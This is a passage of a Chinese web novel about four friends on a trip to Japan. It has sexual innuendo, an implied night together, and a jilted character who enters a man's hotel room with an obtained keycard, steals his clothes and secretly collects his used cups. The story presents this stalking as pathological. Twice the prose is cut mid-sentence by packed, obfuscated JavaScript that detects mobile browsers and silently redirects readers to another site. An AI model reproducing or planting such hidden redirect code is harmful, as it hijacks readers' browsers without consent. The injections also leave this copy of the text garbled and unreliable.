他记得自己当时对着电话“嗯”了一声,然后挂断。看着一桌早已失去色泽和温度的菜肴,看着凝固的烛泪,他没有哭,也没有闹,只是安静地收拾干净一切。 回忆的闸门一旦打开,更多的细节纷至沓来。那些被忽略的节日,石沉大海的消息,越来越少的见面,越来越敷衍的回应……原来一切都有迹可循,只是当时的自己,选择性地蒙上了眼睛,捂住了耳朵。 南景静静地坐在屏幕前,任由那些画面在脑中流淌。奇怪的是,预想中的心痛、酸楚、或者不甘,并没有如期而至。只有一种极其平静近乎旁观者的感觉。就像在看一部年代久远、情节老套的悲情电影,为主角的痴傻轻轻叹息,却也清楚地知道,那只是戏。 他缓缓地,合上了笔记本电脑。 然后,他忽然低低地笑了起来。起初只是肩膀微微耸动,随后笑声逐渐放大,变得清晰,甚至带着点畅快的意味,在空旷的和室里回荡。这笑声里没有怨怼,没有自嘲,只有一种往事随风般的彻底释然。 还是会想起来啊。 但也只是想起来了。 像翻到一本旧日记的某一页,看了,懂了,然后轻轻合上,放回原处。它依然存在,但已不再具有影响此刻心情的力量。 笑够了,他起身,利落地换上一套外出的休闲装。镜子里的人,眼神清明。过去的阴霾,似乎真的被这温泉、这星空、这声笑,彻底洗涤干净了。 他拉开房门,正要走出去,隔壁的房门也恰好打开。 周冉和秦朗一前一后走了出来。周冉眼神明亮,嘴角不自觉地上扬。秦朗则跟在她身后半步,一脸狗腿的笑容,正伸手想帮她理一理鬓边散落的发丝,被周冉一巴掌拍开。 三人六目相对。 南景脚步一顿,好整以暇地抱起手臂,斜倚在门框上,目光在两人之间扫了个来回,最后落在周冉微微红肿的唇瓣上,眉梢一挑:“哟~~这温泉交流看来很深入嘛。进度条……拉得挺快啊?” 周冉脸不红心不跳,甚至抬起下巴,哼了一声:“羡慕啊?羡慕你也赶紧找一个去啊!整天清心寡欲的,不知道的还以为你要出家。我认识的留子圈里,优质股还是有的,要不要姐给你介绍几个?也不一定非要谈情说爱嘛,”她眨了眨眼,语气变得促狭,“当个全自动智能恒温人形抱枕,或者……嗯,高端按摩仪也行啊,解压又健康。” 南景失笑,走过去,周冉挽住了他的手臂,一边往门口方向走,一边慢悠悠地回道:“别介。全自动的哪有手动调控有灵魂?再说了,万一程序出错,半夜突然开始背诵《资本论》,多吓人。” “喂喂喂!冉冉!我这么个大活人在这儿呢!我的胳膊也很结实,很有灵魂的好吗?!”秦朗被晾在后面,连忙追上来,试图挤到两人中间,被周冉一个眼刀钉在原地。 “闭嘴,你顶多算个试用期临时工,还没转正呢,排后面去。” “就是就是,”南景难得附和周冉,继续刚才的话题,“不过说起手动的,前两天在东京闲逛,倒是看到不少……嗯,挺有创意的成人生活用品店。设计得很前沿,充分体现了科技以人为本,哦不,是以需求为本的精神。” 周冉眼睛一亮,立刻接上:“是吧是吧!我也看到了!那个仿生流体设计的……小尾巴?感觉就很有想法!还有带多频震动和温感反馈的……” 南景点点头,一本正经地补充:“我觉得那些主题服饰也很有突破性。比如暗黑系铆钉皮衣,或者……维多利亚风女仆装?材质和细节都做得很逼真。”他顿了顿,看向周冉,“你定做一套试试?我觉得你穿那个暗黑系,气场应该挺合。” 周冉立刻摆手,敬谢不敏:“婉拒了哈!本小姐走的是慵懒休闲风,那种太高能了驾驭不来。不过……”她眼珠一转,不怀好意地瞥了一眼跟在后面竖着耳朵听的秦朗,“我觉得某些人,可能挺适合那套带蕾丝边和蝴蝶结的……嗯,执事装?或者,捆绑艺术的基础款束具配个小皮鞭?S?M职场管理主题Play,秦总,考虑一下?提升团队服从性。” 南景忍俊不禁,煞有介事地点头:“有道理。蜡烛也可以作为氛围组道具,就是注意消防安全。或者……冰冻葡萄?比较有挑战性。” “喂喂喂!你们两个!”秦朗终于忍无可忍,从后面扑上来,一手一个想搂住两人的肩膀,又被灵活躲开,他哀嚎,“麻烦你们密谋这种提升生活情趣、探索人际关系新维度的学术讨论时,稍微背着点当事人行不行?!我还在这儿呢!听得一清二楚!什么小皮鞭蜡烛冰冻葡萄……我是那种人吗?!我们走的明明是纯爱路线!!” 周冉和南景对视一眼,同时爆发出毫不客气的大笑。 “纯爱路线?秦总,您这纯爱的油门,踩得有点猛啊,方向盘都快掰掉了。” 三人笑闹着引得旁人侧目。 居酒屋的暖帘在身后落下,将屋内喧嚣的人声、烤物的焦香和清酒的醇冽暂时隔绝。冬夜的街道清冷,但路灯明亮,呼出的白气在空气中迅速消散。三人都吃得身心舒畅,微醺伴着饱腹感,步伐都带着点慵懒的惬意。 “等会儿,去趟便利店。”周冉忽然停下脚步,指了指斜前方一家灯火通明的24小时便利店,“买点喝的,顺便……补充点战略物资。” 两位男士自然没有异议,调转方向跟了进去。便利店的白炽灯光线明亮到有些刺眼,货架琳琅满目。南景径直走向冷藏柜,拿了瓶无糖茶饮。秦朗则亦步亦趋地跟在周冉身后,目光随着她的动作移动。 周冉在零食区驻足片刻,拿了包薯片,又走到饮品区拿了瓶果汁。然后,她脚步未停,拐进了靠里侧一个货架通道。秦朗嘴角的笑意加深,也跟了过去。 南景站在收银台附近,一边拧开瓶盖喝茶,一边隔着货架的缝隙,好整以暇地看着那边,只见周冉在摆放着各式个人护理用品的货架前停下,目光扫过,然后面不改色、动作流畅地从中间层取下了一个小小的、方形扁盒,看也没看具体型号,就随手丢进了臂弯挽着的购物篮里,和薯片果汁躺在一起。那盒子上的日文标识和某个国际知名品牌的Logo。 秦朗就站在她旁边,将她这一系列动作尽收眼底。他脸上的笑容瞬间变得有些微妙,某种东西开始蠢蠢欲动。他凑近一步,几乎贴到她耳边,压低声音,带着笑意:“哎,冉冉,眼光不错。不过……”他伸手,从她篮子里拈起那个小盒子,看了眼侧面的规格标注,然后摇了摇头,用只有两人能听清的气声,一本正经地纠正道:“这个型号……可能不太匹配。咱们做事要严谨,工具得称手,你说对吧?” 说着,他手腕一转,将那个标准尺寸的盒子放回了原处,然后长臂一伸,从货架更上层拿下另一个外观相似、但明显标注着不同尺寸的盒子,同丢进了周冉的篮子里,还特意让它落在最上面。那盒子上的加大标识,在灯光下简直有点刺眼。 “这个,特大号的,更科学,更稳妥,用户体验有保障。”秦朗笑眯眯地补充,甚至又顺手从旁边拿了一盒同款,一起放了进去,“有备无患嘛。万一……学习热情比较高涨,课时安排得比较密集呢?” 周冉全程没说话,只是微微侧头,斜睨着他这一套行云流水的操作。等他嘚瑟完,她才扯了扯嘴角,面无表情地吐出几个字: “你多少是有点变态了。” “啊,这个嘛,”秦朗摸了摸下巴,做出认真思考的样子,然后煞有介事地解释,“可能……是我祖上有点大蒙古的基因?你知道的,游牧民族,天性豪迈,崇尚……嗯,自然与力量的原始之美。这都是刻在DNA里的,我也控制不住我自己啊。” “我怀疑你点什么大病。”周冉懒得跟他扯皮。 秦朗立刻跟上,亦步亦趋,嘴里还不忘深情表白:“相思成疾,药石无医,冉冉,你是唯一的解药。我这病,只有你能治,而且得加大剂量,长期服用,最好……是贴身治疗,二十四小时不间断监护。” “哟哟哟,”一直站在收银台附近、假装看杂志实则看完全程的南景,终于忍不住,含着口香糖,发出了意味深长的感叹,“没眼看,真是没眼看啊。秦总,你这情话技能……是报了什么土味情话速成班吗?还是从哪个古早言情小说里批发来的?” 周冉已经走到收银台前,将篮子里的东西一样样拿出来。收银员是个年轻姑娘,看到那两盒醒目的特大号战略物资,又瞥了眼后面跟着的两位风格迥异但都颜值惊人的男人,脸上满是压抑不住的好奇,但专业素质让她迅速恢复平静,开始扫码。 周冉对此视若无睹,支付,装袋。拎起袋子转身时,她才对着南景和秦朗,说出了总结:“成年人,正视自己的需求,不丢人。有需求,那就解决。遮遮掩掩,扭扭捏捏,那才没劲。”她顿了顿,看了眼秦朗,“当然,解决方式可以商榷,解决方案需要优选。” 这话说得坦荡又通透。南景挑了挑眉,表示赞同。 “那还等什么?”秦朗瞬间精神百倍,刚才那点慵懒惬意一扫而空,整个人像是上了发条,他一把接过周冉手里的购物袋,另一只手揽住了她的腰。 “走吧!回去!立刻!马上!开会!研究一下解决方案的落地执行细节!我保证,拿出十二万分的专业精神和学习态度,务必让本次需求解决会议取得圆满成功,达成双方共赢,并为后续长期、稳定、高效的合作打下坚实基础!” 他那颗春心,何止是噗通噗通,简直像是在胸腔里开了个迪厅,灯光音响全开,蓄势待发,准备进行一场轰轰烈烈的、持续整夜的商务洽谈了。 周冉被他揽着,也没挣脱,只是偏头看了他一眼,那眼神似笑非笑,带着点“我看你能演出什么花来”的纵容和一点被点燃的微小火苗。她没说话,算是默许。 南景走在两人旁边半步,看着秦朗那副恨不得立刻瞬移回酒店的猴急样子,和周冉虽然嘴上嫌弃但并未真正抗拒的姿态,忍不住摇头失笑。 生活嘛,就是这样。 有人纠结于过去的幽灵,有人沉溺于眼前的欢愉,也有人,在热闹旁安静行走,内心自有山海。 “走了,南景,快点!!”秦朗在酒店门口催促,手还牢牢揽在周冉腰间。 “来了。”南景应了一声,加快脚步,跟了上去。 …… 最初是眼皮外混沌的灰白,然后渗透进些许模糊的光感。意识先于身体醒来,悬浮在睡与醒的罅隙。首先恢复的是听觉,窗外极远处,也许有山鸟的啁啾。近旁,是平稳深长的呼吸,近在耳畔,一起,一伏。身体记忆苏醒了,沉重,酸软,却奇异地松快,像经历了一场暴风雨洗礼后的山林,空气澄澈,万物更新。每一寸皮肤都仿佛记住了刚刚的触碰,散发着隐秘餍足的光泽。被褥间的气息更加复杂了,睡眠的暖香、残留的体味、以及情?欲蒸发后淡淡的微咸,是一种独属于此刻亲昵到令人心悸的慵懒味道。 能感觉到横亘在腰间的手臂,沉甸甸的。自己的小腿,似乎也无意识地缠着对方的。视线悄悄睁开一条缝,透过睫毛,看到近在咫尺的胸膛,随着呼吸缓慢起伏,上面或许有零星的红痕或浅浅的齿印,在朦胧的光里看不真切,像晨雾中若隐若现的花瓣。 然后,那胸膛的起伏节奏微微变了。揽在腰间的手臂,收紧了一下。 “……冉冉?” 没有回答。只是将脸更深地埋进那片温暖坚实的胸膛。 回应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046484|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的,是头顶落下的一声低哑的、满足的轻笑,和落在发间的一个,羽毛般轻柔的吻。 突然秦朗的手机铃声突兀的响了起来。 “我靠!谁啊?!”秦朗猛地从那种心满意足的云端跌落,烦躁地低吼一声,极其不情愿地松开怀里的温香软玉,支起上半身,眯着眼在凌乱的被褥和散落一地的衣物中搜寻那个该死的噪音来源。 周冉也被吵得蹙起眉,把脸更深地埋进枕头里。 秦朗终于从床脚边捞起了他那部顽强歌唱的手机,屏幕在昏暗光线下刺眼地亮着,来电显示——「邵既明(冤种表弟)」。 秦朗看着这三个字,嘴角抽搐了一下。不能不接。这小子现在精神不稳定,不接电话指不定能干出什么更离谱的事。更不能背着周冉接。以周冉的敏锐和对邵既明的反感,他要是鬼鬼祟祟出去接,回来绝对没好果子吃,刚刷上去的好感度可能瞬间清零。 他认命地叹了口气,揉了揉眉心,努力让自己的声音听起来正常一点,然后当着周冉的面,划开了接听键,语气尽量平和: “喂?怎么了?”心里默念:祖宗,最好有正事,没有正事我就把你从电话线里拽出来揍一顿。 听筒里沉默了两秒,然后,传来邵既明十分幽怨、仿佛从古井最深处飘上来的声音,幽幽地,一字一顿地问: “你……打包的饭呢?” 秦朗:“……” 他差点以为自己幻听了。愣了两秒,才想起自己为了哄(骗)邵既明,随口说的那句“给你打包点带南景口水的回来”。他当时纯属嘴欠开玩笑,根本没当真,甚至吃完就忘了这茬!谁知道这傻弟弟竟然真的一直记着,还打电话来催?!这执念……也太他妈具体了吧?! “哎呦!卧槽!”秦朗一个没忍住,脏话脱口而出,察觉到身边周冉投来的狐疑目光,他赶紧调整语气,“不是,兄弟,你还真等着啊?我……我那就是随口一说!开玩笑的!那什么,你自己随便点儿,想吃啥吃啥,哥报销,行不?” 电话那头,邵既明没说话。但秦朗仿佛能透过电波,“看”到他此刻苍白着脸,眼神空洞又执拗,周身散发着比贞子爬出电视时、叠加伽椰子趴在天花板上时还要浓重十倍、冰冷百倍的怨念之气!那无形的怨气几乎要顺着信号爬过来,把他当场冻成冰雕! “秦、朗。”邵既明的声音更低了,每个字都带着一种“你不给我带南景口水饭我就立刻黑化给你看”的可怕平静。 秦朗后颈一凉,头皮发麻。他毫不怀疑,要是今天不给出个“满意”的交代,邵既明不间断地用这种幽怨的眼神对他进行精神攻击,直到他崩溃。 “行行行!别慌!哥给你想办法!”秦朗当机立断,安抚(糊弄)道,大脑飞速运转,“那什么……口水饭是没有了,但我这儿有更好的!送你一份大的!包你满意!真的!特大惊喜!你稳住,好好吃药,好好吃饭,等着收大礼!绝对比口水饭强一万倍!我保证!” 电话那头又沉默了几秒,似乎在衡量他话语的可信度。最终,那骇人的怨气似乎消散了一点点,邵既明用依旧没什么起伏、但好歹不再那么“索命”的声音,很轻地“嗯”了一声,然后挂断了电话。 “嘟~嘟~嘟~” 忙音传来。秦朗长长地舒了一口气,感觉后背都出了一层薄汗。他丢开手机,像扔掉一个烫手山芋。 转过身,对上枕头里周冉那双不知何时睁开、正似笑非笑看着他的眼睛。 秦朗立刻切换回狗腿模式,脸上堆起谂媚的笑容,一个飞扑重新跳回床上,把试图缩进被子里的周冉捞进怀里,蹭着她的颈窝,声音恢复了之前的荡漾:“夫人~小插曲,小插曲!无关人等已经搞定!我们继续~春宵苦短……适合进行一些深入的、有益身心健康的复盘与再实’~我依旧兴致勃勃,充满干劲儿!” 周冉被他蹭得发痒,伸手推他的脸,斜睨着他,红唇勾起一个要笑不笑的弧度,语气慵懒又带着点餍足后的沙哑:“行了,知道你能干。……嗯,感觉不错,服务到位,本宫很满意。” 这句“朕本宫很满意”简直比任何夸奖都让秦朗心花怒放,尾巴能翘到天上去。他眼睛亮得惊人,正要再次俯身,用实际行动表达臣必当鞠躬尽瘁,再接再厉时—— 周冉却忽然轻轻“嘶”了一声,微微蹙了蹙眉,下意识地动了动肩膀和腰。 秦朗心里咯噔一下。 秦朗的目光不由自主地扫过周冉裸脖颈,那里似乎已经有了一小块可疑的淡红色。他喉结滚动,心里那点得意和怜爱交织,更多的是蠢蠢欲动的还想再来的冲动。 他放缓了动作,不再急着再实践,而是伸手,温热的手掌轻轻地覆上她微微蹙起的眉心和可能酸软的腰侧。 “夫人辛苦了……哪里不舒服?为夫给你好好按摩一下,专业手法,疏通经络,缓解疲劳……顺便,检查一下战损情况?咱们有病治病,没病……强身?” 周冉拍开他作乱的手,嗔怪地瞪了他一眼,但那眼神里水光潋滟,实在没什么威力,反而更像是一种默许和邀请。她翻了个身,把自己更舒服地陷进柔软的被褥里,背对着他,闷闷地传来一句:“……轻点。按不好,头给你打掉。” “得令!”秦朗喜上眉梢,立刻化身最专业的售后按摩师,手法虔诚(且不安分)地开始他的“服务工作”。 如果我猜的没错,待会儿,这位嘴上说着“满意”的女王陛下,可能会陆续出现以下“战后综合症”: 头晕腿软,这是基础款。高强度的“有氧运动”和持续性的“颅内高?潮”后,大脑短暂缺氧和腿部肌肉使用过度的正常反应。具体表现为下床时可能需要扶墙,或者走两步就觉得脚像踩在云端。 腰酸背痛,核心肌群和背部肌群在多种“高难度体式”中承担了主要支撑和发力工作,乳酸堆积,肌肉轻微拉伤或过度伸展,都在所难免。尤其是后腰和肩胛骨中间那块,可能会成为重点酸胀区。 口齿不清,倒不是真的说不清话,而是在某些特定时刻,可能会因为心跳过速、呼吸紊乱,导致说话有点喘,或者词不达意,甚至发出一些……平时绝不会有的软糯鼻音。 ...... 其他更隐晦的身体记忆与变化,暂且按下不表。 34. 是变态还是偏执 第二天,三人下午出去溜达去了,秦朗赶紧将那位怨气冲天的愿望实现咯,他弄到了张南景房间的门卡。他带着周冉和南景出了门,内心是一刻也不想和周冉的温香软玉分开的,裤衩子是一条也不想穿上的,但邵既明的命要紧,忍了。 邵既明捏着那张冰凉的门卡。他知道这不道德,是侵犯,是卑劣的窥私。理智在尖叫着阻止,但情感那早已溃不成军、只剩一片焦土废墟的情感。 他像一抹没有重量的影子,悄无声息地滑到南景的房门前。他屏住呼吸,将门卡贴上感应区。 “嘀。” 一声轻微的电子音,门锁绿灯闪烁,开了。 邵既明的心脏在那一瞬间停止了跳动,随即又以一种濒死般的狂乱频率砸向胸腔,撞得他耳膜嗡嗡作响,几乎要呕出来。他猛地推开门,闪身进去,又迅速将门在身后关上,落锁。 背靠着冰凉厚重的木门,他剧烈地喘息。房间里一片昏暗,窗帘拉着,只从缝隙透进几缕午后惨淡的天光,空气中弥漫着独属于南景清爽又温暖的气息。 这气息像一把钩子,瞬间钩穿了他的肺腑。他腿一软,顺着门板滑坐在地毯上,冰冷的泪水毫无预兆地涌出,瞬间模糊了视线。他来了。他真的进来了。这个南景此刻不在、却充满他气息的空间。 他跪在地上,手脚并用地向前爬了几步,像一个在沙漠中濒死的人爬向海市蜃楼中的绿洲。视线贪婪地、颤抖地扫过房间的每一个角落,收拾整齐的床铺,桌上合着的笔记本电脑,旁边放着半瓶水,椅子上搭着一件羊绒毛衣,那是南景昨天穿过的。 他踉跄着站起来,扑到椅子边,一把将毛衣抓在手里。柔软的羊绒触感熟悉得让他心碎。他低下头,将整张脸深深地、用力地埋进那件衣服里,近乎贪婪地呼吸,一整个顶级过肺。 阳光晒过的暖意,清爽的皂角香,还有属于南景干净又温和的气息。这气息瞬间击穿了他所有脆弱不堪的伪装和强撑的理智。压抑了几个月的思念、悔恨、痛苦、自我厌弃,如同被炸开的堤坝,洪水般倾泻而出。 “呜……南景……南景……”他喉咙里发出破碎的呜咽,眼泪汹涌而出,迅速浸湿了柔软的羊绒布料。他死死抱着那件衣服,身体无法控制地颤抖,蜷缩,从椅子边滑落,再次瘫坐在地毯上。 抑郁症带来的那种沉重又粘稠的虚无感和自我毁灭的冲动,在这一刻达到了顶峰。他觉得自己肮脏,卑劣,像个可悲的窃贼,偷偷潜入别人的领地,嗅着早已不属于自己的气息,还为此感到可耻的慰藉。秦朗说他“一般”,南景说他“一般”,他自己也觉得自己烂到了泥里,从内到外,散发着腐朽的气息。可即使这样,即使知道自己不配,他还是像扑火的飞蛾,无法抗拒这点微弱的光和热,哪怕这光会将他彻底焚毁。 “对不起……对不起……我也不想这样的……可是我控制不住……我太想你了……想到这里……好痛……”他一只手死死揪着胸口的衣服,那里传来一阵阵绞紧般的剧痛,让他呼吸困难。另一只手依旧紧攥着那件开衫,贴在脸上。 不知过了多久,泪水似乎流干了,只剩下干涸的刺痛和一阵阵虚脱般的无力。他极其缓慢地,撑着床沿,站了起来。目光落在那张整洁的床上。床单平整,枕头微微凹陷,仿佛还残留着主人睡过的痕迹。 他像被蛊惑一般,走到床边。然后,他踢掉鞋子,慢慢地躺了上去。 身体陷入柔软的床垫,被褥间属于南景的气息更加清晰地将她包围。他侧过身,将脸埋进南景睡过的那个枕头里,深深地吸气。然后,他蜷缩起身体,手臂环抱住自己。他把那件羊绒开衫紧紧抱在怀里,像抱住一个不会回应的玩偶,又像抱住自己最后一点可怜的慰藉。 阳光从窗帘缝隙移动,光斑在他身上缓慢爬过。他维持着这个姿势,一动不动,像是睡着了,又像是醒在一片无边的黑暗里。他进入了一种半昏迷麻木的境地。意识浮浮沉沉,时而清晰,感受到身下床单的微凉和怀中衣物的柔软,时而又模糊,坠入一片没有南景的虚空。 他知道自己很可怜,很可笑,很可悲。像个躲在阴暗角落里,舔舐伤口、偷窃一点残存气息的流浪狗。他知道南景回来时,这一切都会像泡沫一样破碎,他会被打回原形,甚至面临更彻底的驱逐和厌恶。 可是……就一会儿。 就让他偷这么一会儿。 在这无人知晓的午后,在这张属于南景的床上,抱着他曾穿过的衣服,假装自己还在那个有他的温暖旧梦里。 泪水再次无声地滑落,浸湿了枕头,留下一小片更深的水渍。他把自己蜷缩得更紧,仿佛这样就能消失,就能永远留在这个偷来的、充满南景气息的狭小世界里。 房间里死一般寂静,只有他带着泪意的呼吸。 日光西斜,将雪地染上一层淡淡的金晖。周冉虽然身体还有些慵懒酸软,但在秦朗的插科打诨和南景的陪伴下,下午的闲逛倒也轻松愉快。回到酒店,各自回房稍作整理。秦朗借口要回房间处理紧急处理公务,与周冉南景分开。 他刷卡进入自己与邵既明同住的那间别墅套房。客厅里空无一人,安静得有些异常。秦朗心里咯噔一下,一种不祥的预感升起。他放轻脚步,走到邵既明的卧室门口,侧耳倾听,里面没有任何声音。 他犹豫了一下,轻轻推开虚掩的房门。 映入眼帘的景象,让秦朗瞬间瞳孔地震,头皮发麻,差点一口气没上来。 只见邵既明背对着房门,蜷坐在靠窗的榻榻米地铺上。他穿着酒店提供的白色浴衣,身形在昏黄落地灯下更显单薄。但这都不是重点。重点是,他怀里,紧紧抱着的……衣物。 那明显不是邵既明自己的衣服。羊绒衫,质地柔软,是南景昨天穿过的款式。旁边还散落着一件白色的棉质T恤,一条黑色的休闲长裤…… “卧槽!!!” 秦朗终于忍不住,低吼出声,一步跨进房间,声音里充满了惊怒和“你他妈在干什么”的崩溃: “邵既明!你他妈的有毒吧?!啊?!让你进去……你就进去看看!你他妈还偷衣服?!崽种啊你!偷一件外套也就算了,你连这个都拿?!!”他指着那件贴身衣物,气得手指都在抖,“你知不知道这是什么性质?!啊?!这他妈是变态你知道吗?!这要是被南景发现了,别说你,我他妈都得被周冉当场剁碎了喂雪猴!” 他越说越气,胸膛剧烈起伏,感觉自己不是在照顾表弟,而是在给一个行走的法制节目素材当保姆。“虽然我今天吃饭的时候是故意多劝了南景两杯清酒,想让他睡得沉点,就怕他看出点什么来……可我没让你干这个啊!你这是入室盗窃加性骚扰未遂你知道吗?!” 秦朗烦躁地在房间里踱了两步,目光扫过邵既明怀里那堆赃物,又落在他微微隆起的浴衣下摆,一个更惊悚的念头闪过,他脸色瞬间黑如锅底,声音都变了调: “你他妈……你丫的该不会还……还拿人家小裤子……”他话没说完,自己都觉得荒谬又恶心,但结合邵既明此刻的状态和怀里那些衣服,这个猜测让他胃里一阵翻腾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046485|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他简直不敢想象邵既明拿着南景的衣物做了什么。“你……你他妈就用这个……做‘自我调节’了?邵既明,你疯了吗?!你脑子被抑郁症啃干净了是不是?!” 邵既明被他劈头盖脸的怒骂惊醒,猛地抬起头。他脸色惨白如纸,眼眶通红,脸上满是未干的泪痕。看到秦朗逼近,猛地将怀里的所有衣物更紧地搂住,死死抱在胸前,整个人向后缩去,身体无法抑制地剧烈颤抖起来,眼泪再次汹涌而出。 “哥……哥你别告诉他……求求你了……别告诉南景……我求你了……” 他将脸重新埋进那件衣服里,深深吸气,那上面残留着极其淡薄属于南景的气息,像是他维系生命的唯一氧气。 “没有这些……我真的撑不住……我一天都撑不下去了……”他哭得撕心裂肺,声音闷在衣物里,断断续续,“我这里……好痛……痛得快要死掉了……只有闻着他的味道……抱着他的东西……我才觉得……我还活着……我还和他有那么一点点联系……哥……我真的没办法了……我真的没办法了啊……” 他的哭声不再压抑,像是困兽最后的哀鸣,在寂静的房间里回荡。眼泪源源不断,仿佛真的应了那句“西湖的水,我的泪”,只是这泪,是苦的,咸的,浸满了病态的执念。 秦朗站在原地,看着他那副崩溃到极致、卑微到尘埃里的样子,满腔的怒火像是被一盆冰水浇熄了大半,只剩下深深的无力、悲哀,和心疼。邵既明此刻的模样,哪里还有半点昔日邵氏继承人的冷峻骄傲,完全是一个被疾病和悔恨彻底击垮、行为失控、只能用最不堪的方式汲取一点虚幻慰藉的病人。 他走过去,在邵既明面前蹲下,看着他把头埋在南景衣服里、哭得浑身痉挛的样子,沉重地叹了口气。 “我敢说吗?”秦朗的声音低了下去,带着疲惫和无奈,“啊?别说南景知道了会是什么反应,周冉要是知道……她能直接提刀从北海道追杀我到天涯海角,把我大卸八块喂海里的鱼。你说你这叫什么事儿啊……” 他伸出手,想拍拍邵既明的肩膀,又觉得那怀里紧抱的“赃物”无比扎眼,最终只是悬在半空。 “早知今日,何必当初呢。人呐,怎么总是这样……捧到你面前的时候,你觉得理所应当,甚至嫌碍事。等人心凉了,走远了,你又拼了命地想抓住一点影子,哪怕是用这种……这种方式。” 邵既明只是哭,拼命摇头,说不出完整的话。 秦朗看着他颤抖的、瘦削的肩膀,终究还是心软了。他知道,跟一个认知和行为都可能出现偏差的病人,讲道理是没用的。现在的邵既明,就像一个在黑暗冰海中即将溺毙的人,南景留下的任何一点带有他气息的物品,都是他眼中能抓住的浮木。尽管这浮木本身,可能正在将他拖向更危险的深渊。 “会好的啊……”秦朗的声音很轻,像是在对邵既明说,也像是在对自己说,“会好的……慢慢来,先按时吃药,看医生……总会……好一点的。” 邵既明似乎听到了,又似乎没听到。他只是将脸更深地埋进那件衣服里,贪婪地地呼吸着那几乎已经淡不可闻的气息,呜咽声渐渐低了下去,变成一种压抑的、持续不断的抽泣,肩膀依旧颤抖得厉害。 秦朗就蹲在那里,看着这个曾经意气风发、如今却蜷缩在角落、抱着偷来的衣物哭泣的表弟,心里像是堵了一团浸了水的棉花,沉甸甸,湿漉漉,透不过气。而他能做的,似乎也只是在这令人窒息的悲伤与荒谬中,尽量看住这个快要碎掉的人,别让他做出更不可挽回的事。 35. 他偏执不是一两天 回到S市的南景,迅速投入高速运转的投行节奏。日程表密集得透不过气,却很充实。那点旅途中的小插曲和莫名丢失的衣物,就像水面上偶尔泛起的无关涟漪。周冉摸着下巴,眼神促狭:“啧,南小景,你这招蜂引蝶的体质见长啊?该不会是被什么有特殊癖好的跟踪狂大叔盯上了吧?专偷你穿过的衣服,拿回去做点……不可描述的深夜手工?” 南景只无奈地回了句:“少看点奇怪的小说。”便不再理会。 而他身后,那片被刻意忽视的阴影,却始终如影随形,且隐藏得日益精妙。邵既明仿佛真的成了一个技艺高超的背后灵,将自身的存在感压缩到近乎于无。他不再尝试笨拙地靠近,不再制造尴尬的偶遇,甚至很少出现在南景的直线视野里。 南景参加高规格的投资私董会,邵既明永远是座上宾之一,隔着长长的会议桌,或隐藏在侧后方的阴影里。他几乎不发言,只是安静地听,目光却总是在南景身上。看他穿着剪裁合体的西装,身姿挺拔,在投影光柱下从容陈述观点,逻辑清晰,数据翔实,偶尔一个手势,一个微微抬眉的眼神,都透着专业与自信。看他与那些平日里眼高于顶的资本大鳄、行业巨擘平等交流,不卑不亢,言谈间锋芒内敛却又寸土必争。看他在茶歇时与人轻松寒暄,嘴角噙着得体的浅笑…… 他的南景,本该一直如此耀眼。 更隐秘、也更让秦朗得知后差点再次崩溃的,是邵既明那近乎偏执的收集癖。不知从何时起,他发展出了一套令人毛骨悚然的“仪式”。 每当会议、酒会或其他任何有南景出席的场合,邵既明会耐心等待,等待南景与人交谈,等待他暂时移开视线,等待那杯液体被饮下一部分,留下清晰的唇印和水位线。 然后,在人群流动的间隙,在所有人注意力分散的瞬间,以快得不可思议又异常平稳自然的动作,接近那张桌子,将南景用过的那只杯子,连同里面剩余可能沾着他气息和DNA的液体悄悄拿走。 一次,两次……起初只是试探,后来成了习惯,再后来,几乎成了他参加这些活动的唯一目的和慰藉。每一次得手,掌心握着那只微凉湿润的玻璃杯,感受到杯壁上可能残留属于南景的指纹和唇温时,邵既明的神经才能得到一丝极其短暂的舒缓。那感觉,像毒瘾患者得到了微量的毒品,明知饮鸩止渴,却根本无法抗拒。 回到那栋他独自居住别墅,邵既明会锁好门,拉紧窗帘。他不开主灯,只拧亮书房一角昏黄的台灯。然后,他会从特制的恒温恒湿保存箱里,小心翼翼地取出那些战利品。 数量不多,但每一只都被精心保存,贴上便签,记录下获取的日期、场合,甚至他记忆中南景当时穿的衣服,说的某句话。他会戴上柔软的白色棉质手套,像个对待出土文物的考古学家,用专用的无痕拭布,极其轻柔地擦拭杯身,但刻意避开杯口唇印的位置。然后,他会俯下身,将鼻尖贴近那残留着液体蒸发后淡淡痕迹的杯口,闭上眼,深深、深深地吸气。 有时是幻觉,有时是真的能闻到一点点极淡的属于南景的清新须后的味道。每当这时,他那双终日空洞的眼睛里,才会闪过一丝极其微弱近乎幸福的迷离。他会维持这个姿势很久,直到脖颈酸麻,直到眼泪无声地滑落,滴在冰冷的地板上。 他不敢用这些杯子喝水,那太亵渎,也怕破坏上面唯一的痕迹。他只是看着,摸着,闻着。有时情绪特别崩溃,抑郁发作到浑身冰冷颤抖、觉得下一秒就要彻底碎裂时,他会颤抖着手,拿起其中一只杯子,将杯口紧紧贴在自己同样干裂的嘴唇上,模拟着亲吻的姿势,想象着这是间接的接触,是偷来的亲密。冰凉的玻璃触感让他战栗,也带来一种自虐般畸形的安抚。 